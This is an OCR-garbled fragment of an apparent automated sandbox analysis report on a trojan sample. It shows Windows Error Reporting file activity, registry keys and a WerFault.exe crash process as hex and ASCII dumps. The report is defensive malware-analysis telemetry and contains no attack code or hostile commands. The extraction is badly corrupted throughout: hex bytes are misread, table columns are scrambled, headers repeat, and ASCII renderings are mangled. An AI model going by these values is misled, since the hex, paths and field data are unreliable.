00 3e 00 77 00 69 00
75 00 6¢ 00 6f 00 69
00 37 00 2c 00 31 00
3c 00 2f 00 53 00 79
00 73 00 74 00 65 00
6d 00 50 00 72 00 6f
00 64 00 75 00 63 00
7400 4e 00 61 00 6d
00 65 00 3e 00

0d 00 0a 00

09 00

Source

Ascii Completion Count Address Symbol
<./.D.y.n.a.m.i.c.S.i.g.n.a.t. success or wait 1 6E25497A unknown
u.r.e.s.>.
success or wait 1 6E25497A unknown
success or wait 1 6E25497A unknown
<.S.y.s.te.m.l.n.f.o.rm.a.t. success or wait 1 6E25497A unknown
i.o.n.>.
success or wait 1 6E25497A unknown
success or wait 2 6E25497A unknown
<.M.l.D.>.A.2.A.B.5.2.6.A.- success or wait 1 6E25497A unknown
.D.3.8.D.-4.F.C9.-
.8.B.A.0.-.E.
3.4.B.8.D.6.3.5.4.E.8.
<./.M.l.D.>.
success or wait 1 6E25497A unknown
success or wait 2 6E25497A unknown
<.S.y.s.te.m.M.a.n.u.f.a.c.t success or wait 1 6E25497A unknown
.urer>w.iulo.i.,. .l.n.c...

<./.S.y.s.t.e.m.M.a.n.u.f.
ac.ture.r>.

success or wait 1 6E25497A unknown
success or wait 2 6E25497A unknown
<.S.y.s.t.e.m.P.r.o.d.u.c.t.N success or wait 1 6E25497A unknown

.am.e>w.i.ulo.i7.,.1.</.
S.y.s.t.e.m.P.r.o.d.u.c.t.N.a
.m.e.>.

success or wait 1 6E25497A unknown

success or wait 2 6E25497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 120 3c 0042004900 4f <.B..O.S.V.er.s.i.o.n.>.V. success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 00530056 006500 M

7200730069 006f W.7.1..0.0.V...1.3.9.8.9.4.
00 6e 00 3e 00 56 00 5.

4d 005700370031 4..B.6.4..1.9.0.6.1.9.0.5.3
002e 0030003000 .8.

56 00 2e 00 31 00 33 <./.B..O.S.V.e.r.s.i.o.n.>.
00 39 00 38 00 39 00

34 00 3500 34 00 2e

00 42 00 36 00 34 00

2e 00 31 00 39 00 30

00 36 00 31 00 39 00

30 00 3500 33 00 38

00 3c 00 2f 00 42 00

49 00 4f 00 53 00 56

00 65 00 72 00 73 00

69 00 6f 00 6e 00 3e

00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 82 3c004f00530049 <.0.S.l.ns.tallD.ate> success orwait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 006e 0073007400 1.5.7.3.2.5.1.3.6.6.

6100 6¢ 00 6¢c 0044 <./.0.S.l
00610074006500 n.s.tallD.ate>.
3e 00 31 00 3500 37

00 33 00 32 00 35 00

31 00 33 00 36 00 36

00 3c 00 2f 00 4f 00

53 00 49 00 6e 00 73

00 74 00 61 00 6¢ 00

6¢ 00 44 00 61 00 74

00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 102 3c004f00530049 <.0.S.l.n.s.tallT.im.e>. success orwait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 006e 0073007400 2.0.1.9.-.0.6.-.2.7.T.1.4.:.4.

61006c006¢c0054 9..2.1.Z</0.S.lnstal
00 69 00 6d 00 6500 I.T.i.m.e.>.
3e 00 32 00 30 00 31

00 39 00 2d 00 30 00

36 00 2d 00 32 00 37

00 54 00 31 00 34 00

3a 00 34 00 39 00 3a

00 32 00 31 00 5a 00

3c 00 2f 00 4f 00 53

00 49 00 6e 00 73 00

74 00 61 00 6¢ 00 6¢C

00 54 00 69 00 6d 00

65 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 68 3c00540069006d <.T..me.Z.o.n.e.B.i.a.s.>. success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 00 65 00 5a 00 6f 00  0.8.:.0.0.

6e 006500420069 <. .T..m.e.Z.o.n.e.B.
00610073003e00 ias.>.

30 00 38 00 3a 00 30

00 30 00 3c 00 2f 00

54 00 69 00 6d 00 65

00 5a 00 6f 00 6e 00

65 00 42 00 69 00 61

00 73 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 40 3c002f00530079 <./S.y.s.tem.lnfo.rm.a. success orwait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 00730074006500 t.i.o.n.>.

6d 00 49 00 6e 00 66
00 6f 00 72 00 6d 00
61 00 74 00 69 00 6f
00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length Value

34

46

3c 00 53 00 65 00 63
00 75 00 72 00 65 00
42 00 6f 00 6f 00 74
00 53 00 74 00 61 00
74 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 55 00 45 00 46
00 49 00 53 00 65 00
63 00 75 00 72 00 65
00 42 00 6f 00 6f 00
74 00 45 00 6e 00 61
00 62 00 6¢ 00 65 00
64 00 3e 00 30 00 3c
00 2f 00 55 00 45 00
46 00 49 00 53 00 65
00 63 00 75 00 72 00
65 00 42 00 6f 00 6f
00 74 00 45 00 6e 00
61 00 62 00 6¢ 00 65
00 64 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 53 00 65

00 63 00 75 00 72 00
65 00 42 00 6f 00 6f

00 74 00 53 00 74 00
61 00 74 00 65 00 3e
00

0d 00 0a 00

09 00

3c 00 49 00 6e 00 74
00 65 00 67 00 72 00
61 00 74 00 6f 00 72
00 3e 00

0d 00 0a 00

09 00

3c 00 46 00 6¢ 00 61
00 67 00 73 00 3e 00
30 00 30 00 30 00 30
00 30 00 30 00 30 00
42 00 3c 00 2f 00 46
00 6¢ 00 61 00 67 00
73 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 49 00 6e
00 74 00 65 00 67 00
7200 61 00 74 00 6f
00 72 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
7300 54 00 69 00 6d
00 65 00 6¢ 00 69 00
6e 00 65 00 73 00 20
00 42 00 61 00 73 00
65 00 54 00 69 00 6d
00 65 00 3d 00 22 00
32 003000320031
00 2d 00 30 00 32 00
2d 00 32 00 33 00 54
00 31 00 38 00 3a 00
30 00 32 00 3a 00 33
00 31 00 5a 00 22 00
3e 00

Ascii

<.S.e.c.ure.B.o.0.t.Sta.t.

EE=S

<U.E.F.l.S.e.cur.e.B.o.0.t

.E.n.a.b.l.e.d.>.0.
</.U.E.F.L

S.e.c.ur.e.B.o.o.t.E.n.ab.l

e.d.>.

<./.S.e.c.ur.e.B.o.0.t.Sta.

te>.

<.l.nte.g.r.ato.r>.

<.F.l.a.g.s.>.0.0.0.0.0.0.0.

B.<./F.la.g.s.>.

</lnte.g.rato.r>.

<.P.ro.c.e.s.s.T.i.m.e.li.n.

es.
.B.a.s.e.T.im.e.=.".2.0.

202228 THALE 025

EHLZT >,

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length
4

2

258

Value

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
73 002000410073
00 49 00 64 00 3d 00
22 003300350039
00 22 00 20 00 50 00
49 00 44 00 3d 00 22
00 37 00 31 00 34 00
30 00 22 00 20 00 55
00 70 00 74 00 69 00
6d 00 65 00 4d 00 53
00 3d 00 22 00 36 00
37 003100220020
00 54 00 69 00 6d 00
65 00 53 00 69 00 6e
00 63 00 65 00 43 00
7200 6500 61 00 74
00 69 00 6f 00 6e 00
4d 00 53 00 3d 00 22
00 36 00 37 00 31 00
22002000 53 00 75
00 73 00 70 00 65 00
6e 00 64 00 65 00 64
00 4d 00 53 00 3d 00
22003000 2200 20
00 48 00 61 00 6e 00
67 00 43 00 6f 00 75
00 6e 00 74 00 3d 00
220030002200 20
00 47 00 68 00 6f 00
7300 74 00 43 00 6f
00 75 00 6e 00 74 00
3d 00 22 00 30 00 22
0020 00 43 00 72 00
61 00 73 00 68 00 65
00 64 00 3d 00 22 00
310022

0d 00 0a 00

09 00

3c 00 2f 00 50 00 72
00 6f 00 63 00 65 00
73 00 73 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 50 00 72
00 6f 00 63 00 65 00
73 00 73 00 54 00 69
00 6d 00 65 00 6¢ 00
69 00 6e 00 65 00 73
00 3e 00

0d 00 0a 00

09 00

3c 00 52 00 65 00 70
00 6f 00 72 00 74 00
49 00 6e 00 66 00 6f
00 72 00 6d 00 61 00
74 00 69 00 6f 00 6e
00 3e 00

0d 00 0a 00

09 00

Ascii

<.P.r.o.c.es.s. .As.ld="
3.5.9.". .P.l. '7.1.4.0.".
.U.p.timeM.S.="6.7.1."
.T..m.e.S.i.n.ce.Cre.a.t.

i.o.n.M.S.=".6.7.1.". .S.u.s.
p.e.n.d.e.d.M.
.H.a.n.g.C.o.u.n.
.G.h.o.s.t.C.o.u.n.t.
.Cras.hed=

<./.P.ro.c.e.s.s.>.

<./.P.ro.c.e.s.s.T.i.m.e.li
n.e.s.>.

<.R.e.p.o.rt.l.nform.a.t.
i.o.n.>.

Source

Completion Count Address

success or wait 1 6E25497A
success or wait 2 6E25497A
success or wait 1 6E25497A
success or wait 1 6E25497A
success or wait 2 6E25497A
success or wait 1 6E25497A
success or wait 1 6E25497A
success or wait 1 6E25497A
success or wait 1 6E25497A
success or wait 1 6E25497A
success or wait 1 6E25497A
success or wait 1 6E25497A
success or wait 1 6E25497A
success or wait 2 6E25497A

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length
98

4

2

98

40

40

Value

3c 00 47 00 75 00 69
00 64 00 3e 00 30 00
36 00 36 00 65 00 30
00 32 00 34 00 31 00
2d 00 61 00 62 00 64
00 35 00 2d 00 34 00
3800 37 00 64 00 2d
00 62 00 39 00 37 00
62 00 2d 00 64 00 35
00 35 00 34 00 33 00
37 00 65 00 38 00 34
00 65 00 38 00 64 00
3c 00 2f 00 47 00 75
00 69 00 64 00 3e 00

0d 00 0a 00

09 00

3c 0043 00 72 00 65
00 61 00 74 00 69 00
6f 00 6e 00 54 00 69
00 6d 00 65 00 3e 00
32 003000320031
00 2d 00 30 00 32 00
2d 00 32 00 33 00 54
00 31 00 38 00 3a 00
3000 32 00 3a00 33
00 31 00 5a 00 3c 00
2f 00 43 00 72 00 65
00 61 00 74 00 69 00
6f 00 6e 00 54 00 69
00 6d 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 52 00 65
00 70 00 6f 00 72 00
74 00 49 00 6e 00 66
00 6f 00 72 00 6d 00
61 00 74 00 69 00 6f
00 6e 00 3e 00

0d 00 0a 00

3c 00 2f 00 57 00 45
00 52 00 52 00 65 00
7000 6f 00 72 00 74
00 4d 00 65 00 74 00
61 00 64 00 61 00 74
00 61 00 3e 00

Source

Ascii Completion Count Address Symbol
<.G.u.i.d.>.0.6.6.e.0.2.4.1.- success or wait 1 6E25497A unknown
.a.b.d.5.-.4.8.7.d.-.b.9.7.b.-
.d.5.5.4.3.7.e.8.4.e.8.d.
<./.G.u.i.d.>.
success or wait 1 6E25497A unknown
success or wait 2 6E25497A unknown
<.C.re.a.ti.o.n.T..m.e.>.2. success or wait 1 6E25497A unknown
0.2.1.-.0.2.-.2.3.T.1.8...0.2.
1.3.1.Z</Creatio.n.T.
i.m.e.>.
success or wait 1 6E25497A unknown
success or wait 1 6E25497A unknown
<./.R.e.p.o.r.tlnfo.rm.a. success or wait 1 6E25497A unknown
tio.n.>.
success or wait 1 6E25497A unknown
<./W.E.R.R.e.p.o.r.t. M.e.t. success or wait 1 6E25497A unknown

a.d.ata.>.
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBF7A.tmp.xml

C:\ProgramData\Microsoft\Windo
ws\WER\ReportQueue\AppCrash_Se
curitelnfo.com_ed254a492c4061e
€93311a4cb68fc7f99a8fd229 bd6d4f40_0382c331\Report.wer

C:\ProgramData\Microsoft\Windo
ws\WER\ReportQueue\AppCrash_Se
curitelnfo.com_ed254a492c4061e
€93311a4cb68fc7f99a8fd229 bd6d4f40_0382c331\Report.wer

C:\ProgramData\Microsoft\Windo
ws\WER\ReportQueue\AppCrash_Se
curitelnfo.com_ed254a492c4061e
€93311a4cb68fc7f99a8fd229 bd6d4f40_0382c331\Report.wer

Registry Activities

Key Created

Key Path

\REGISTRY\A\{93083315-1f28-d9ad-957a-6fe93113dffe\Root\InventoryApplicationFile\PermissionsCheckTestKey
\REGISTRY\A\{93083315-1f28-d9ad-957a-6fe93113dffe\Root\InventoryApplicationFile\PermissionsCheckTestKey
\REGISTRY\A\{93083315-1f28-d9ad-957a-6fe93113dffe}\Root\InventoryApplicationFile\securiteinfo.com|36e72f4d

Offset
unknown 4746

unknown 2

unknown 22

unknown 46

Length Value

3c 3f 78 6d 6¢ 20 76

65 72 73 69 6f 6e 3d

22 31 2e 30 22 20 65
6e 63 6f 64 69 6e 67

3d 22 55 54 46 2d 38
222073 74 61 6e 64
61 6¢ 6f 6e 65 3d 22

79 65 73 22 3f 3e 0d

0a 3c 72 6571 20 76
6572 3d 22 32 22 3e
0d 0a 20 20 3c 74 6¢
6d 3e 0d Oa 20 20 20
203c 737263 3e 0d
0a 20 20 20 20 20 20
3c 64 65 73 63 3e 0d
0a 20 20 20 20 20 20
20 20 3c 6d 61 63 68
3e 0d 0a 20 20 20 20
2020 20 20 20 20 3c
6f 73 3e 0d 0a 20 20

2020 20 20 20 20 20
2020203c 617267
20 6e 6d 3d 22 76 65
72 6d 61 6a 22 20 76
61 6¢ 3d 22 31 30 22
20 2f 3e 0d Oa 20 20
2020 20 20 20 20 20
2020203c 617267
20 6e 6d 3d 22 76 65
72 6d 69 6e 22 20 76
61 6¢ 3d 22 30 22 20
2f 3e 0d Oa 20 20 20
2020 20 20 20 20 20
2020 3c 617267 20
6e 6d 3d 22 76 65 72
62 6¢ 64 22 20 76 61
6¢ 3d 22

ff fe

56 00 6500 72 00 73
00 69 00 6f 00 6e 00
3d 00 31 00 0d 00 Oa
00

4d 00 65 00 74 00 61
00 64 00 61 00 74 00
61 00 48 00 61 00 73
00 68 00 3d 00 2d 00
37 0037003700 31
00 34 00 30 00 37 00
33 00 30 00

HKEY_LOCAL_MACHINE\Software\WOW6432Node\Microsoft\Windows\Windows Error Reporting\Debug

\REGISTRY\A\{93083315-1f28-d9ad-957a-6fe93113dffe\Root\InventoryApplicationFile\PermissionsCheckTestKey

Key Value Created

Key Path Name
\REGISTRY\A\{93083315-1f28-d9ad-957a- Programld
6fe93113dffe}\Root\Inve
ntoryApplicationFile\securiteinfo.com|36e72f4d
\REGISTRY\A\{93083315-1f28-d9ad-957a- Fileld

6fe93113dffe}\Root\Inve
ntoryApplicationFile\securiteinfo.com|36e72f4d

\REGISTRY\A\{93083315-1f28-d9ad-957a-
6fe93113dffe}\Root\Inve
ntoryApplicationFile\securiteinfo.com|36e72f4d

Copyright null 2021

Type

unicode

unicode

LowerCaselLongPath unicode

Data

0006af441b2aec3965a6¢chd1b369a6
13cca500000904

0000e16be2044b73bfb717d92d1396
8eac473d64b8fc

c:\users\user\desktop\securite

Source

Ascii Completion Count Address Symbol

<?xml version="1.0" success or wait 1 6E25497A unknown
encoding="UTF-8"
standalone="yes"?>..<req
ver="2">. <tlm>.. <src>

<desc>..
<mach>..
<arg nm="vermaj" val="10"
/>.. <arg
nm="vermin" val="0" />..

<arg nm="verbld" val="

<0s>..

success or wait 1 6E25497A unknown

V.ers.i.o.n=1... success or wait 168 6E25497A unknown
M.eta.d.ataH.as.h.=- success orwait 1 6E25497A unknown
.7.7.7.1.4.0.7.3.0.
Source
Completion Count Address Symbol
success or wait 1 6E2736BF unknown
success or wait 1 6E2736BF unknown
success or wait 1 6E2736BF unknown
success or wait 1 6E271FB2 RegCreateKeyExW
success or wait 1 6E2543D1 unknown
Source
Completion Count Address Symbol
success or wait 1 6E2736BF unknown
success or wait 1 6E2736BF unknown
success or wait 1 6E2736BF unknown

info.com.trojan.generickdz.731

24.19170.exe
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Source
Key Path Name Type Data Completion Count Address Symbol

\REGISTRY\A\{93083315-1f28-d9ad-957a- LongPathHash unicode securiteinfo.com|36e72f4d success or wait 1 6E2736BF unknown
6fe93113dffe}\Root\Inve
ntoryApplicationFile\securiteinfo.com|36e72f4d

\REGISTRY\A\{93083315-1f28-d9ad-957a- Name unicode securiteinfo.com.trojan.generi success or wait 1 6E2736BF unknown
6fe93113dffe}\Root\Inve ckdz.73124.19170.exe
ntoryApplicationFile\securiteinfo.com|36e72f4d

\REGISTRY\A\{93083315-1f28-d9ad-957a- Publisher unicode success or wait 1 6E2736BF unknown
6fe93113dffe}\Root\Inve
ntoryApplicationFile\securiteinfo.com|36e72f4d

\REGISTRY\A\{93083315-1f28-d9ad-957a- Version unicode success or wait 1 6E2736BF unknown
6fe93113dffe}\Root\Inve
ntoryApplicationFile\securiteinfo.com|36e72f4d

\REGISTRY\A\{93083315-1f28-d9ad-957a- BinFileVersion unicode 67.0.0.0 success or wait 1 6E2736BF unknown
6fe93113dffe}\Root\Inve
ntoryApplicationFile\securiteinfo.com|36e72f4d

\REGISTRY\A\{93083315-1f28-d9ad-957a- BinaryType unicode pe32_i386 success or wait 1 6E2736BF unknown
6fe93113dffe}\Root\Inve
ntoryApplicationFile\securiteinfo.com|36e72f4d

\REGISTRY\A\{93083315-1f28-d9ad-957a- ProductName unicode success or wait 1 6E2736BF unknown
6fe93113dffe}\Root\Inve
ntoryApplicationFile\securiteinfo.com|36e72f4d

\REGISTRY\A\{93083315-1f28-d9ad-957a- ProductVersion unicode success or wait 1 6E2736BF unknown
6fe93113dffe}\Root\Inve
ntoryApplicationFile\securiteinfo.com|36e72f4d

\REGISTRY\A\{93083315-1f28-d9ad-957a- LinkDate unicode 03/29/2020 14:19:55 success or wait 1 6E2736BF unknown
6fe93113dffe}\Root\Inve
ntoryApplicationFile\securiteinfo.com|36e72f4d

\REGISTRY\A\{93083315-1f28-d9ad-957a- BinProductVersion  unicode 67.0.0.0 success or wait 1 6E2736BF unknown
6fe93113dffe}\Root\Inve
ntoryApplicationFile\securiteinfo.com|36e72f4d

\REGISTRY\A\{93083315-1f28-d9ad-957a- Size B 00 7A 08 00 00 00 00 00 success or wait 1 6E2736BF unknown
6fe93113dffe}\Root\Inve
ntoryApplicationFile\securiteinfo.com|36e72f4d

\REGISTRY\A\{93083315-1f28-d9ad-957a- Language dword 1033 success or wait 1 6E2736BF unknown
6fe93113dffe}\Root\Inve
ntoryApplicationFile\securiteinfo.com|36e72f4d

\REGISTRY\A\{93083315-1f28-d9ad-957a- IsPeFile dword 1 success or wait 1 6E2736BF unknown
6fe93113dffe}\Root\Inve
ntoryApplicationFile\securiteinfo.com|36e72f4d

\REGISTRY\A\{93083315-1f28-d9ad-957a- IsOsComponent dword 0 success or wait 1 6E2736BF unknown
6fe93113dffe}\Root\Inve
ntoryApplicationFile\securiteinfo.com|36e72f4d

HKEY_LOCAL_MACHINE\SOFTWARE\WO ExceptionRecord binary 05 00 00 CO 00 00 00 00 00 00 00 00  success or wait 1 6E271FE8 RegSetValueExW
W6432Node\Microsoft\Windows\Windows Error 62 6F 72 74 02 00 00 00 00 00 00 00
Reporting\Debug FF FF FF FF 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

Analysis Process: WerFault.exe PID: 1984 Parent PID: 7140

General

Start time: 10:02:34

Start date: 23/02/2021

Path: C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 764
Imagebase: 0xe40000

File size: 434592 bytes

MDS5 hash: 9E2B8BACAD48ECCA55C0230D63623661B
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

File Created
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Source

File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\DBG read data or list device directory file | object name collision 1 6E261717 unknown
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\ProgramData\Microsoft\Windows\WER\Temp\WERD13B.tmp read attributes | device synchronous io  success or wait 1 6E25497A unknown
synchronize | non alert | non
generic read directory file
C:\ProgramData\Microsoft\Windows\WER\Temp\WERD13B.tmp.dmp read attributes | device synchronous io  success or wait 1 6E25497A unknown
synchronize | non alert | non
generic read | directory file
generic write
C:\ProgramData\Microsoft\Windows\WER\Temp\WERD718.tmp read attributes | device synchronous io  success or wait 1 6E25497A unknown
synchronize | non alert | non
generic read directory file
C:\ProgramData\Microsoft\Windows\WER\Temp\WERD718.tmp.WERInt read attributes | device synchronous io  success or wait 1 6E25497A unknown
ernalMetadata.xml synchronize | non alert | non
generic read | directory file
generic write
C:\ProgramData\Microsoft\Windows\WER\Temp\WERD93C.tmp read attributes | device synchronous io  success or wait 1 6E25497A unknown
synchronize | non alert | non
generic read directory file
C:\ProgramData\Microsoft\Windows\WER\Temp\WERD93C.tmp.xml read attributes | device synchronous io  success or wait 1 6E25497A unknown
synchronize | non alert | non
generic read | directory file
generic write
C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Se read data or list device directory file | success or wait 1 6E25497A unknown
curitelnfo.com_ed254a492c4061ee93311a4ch68fc7f99a8fd229 bd6d directory | synchronous io
4f40_0792dded synchronize non alert | open

for backup ident
| open reparse

point
C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Se read attributes | device synchronous io  success or wait 1 6E25497A unknown
curitelnfo.com_ed254a492c4061ee93311a4ch68fc7f99a8fd229 bd6d synchronize | non alert | non
4f40_0792dded\Report.wer generic write directory file
File Deleted
Source
File Path Completion Count Address Symbol
C:\ProgramData\Microsoft\Windows\WER\Temp\WERD13B.tmp success or wait 1 6E25497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WERD718.tmp success or wait 1 6E25497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WERD93C.tmp success or wait 1 6E25497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WERD13B.tmp.dmp success or wait 1 6E25497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WERD718.tmp.WERInternalMetadata.xml success or wait 1 6E25497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WERD93C.tmp.xml success or wait 1 6E25497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WERD92C.tmp.csv success or wait 1 6E25497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WERDC5A.tmp.txt success or wait 1 6E25497A unknown
File Written
Source

File Path Offset Length Value Ascii Completion Count Address Symbol
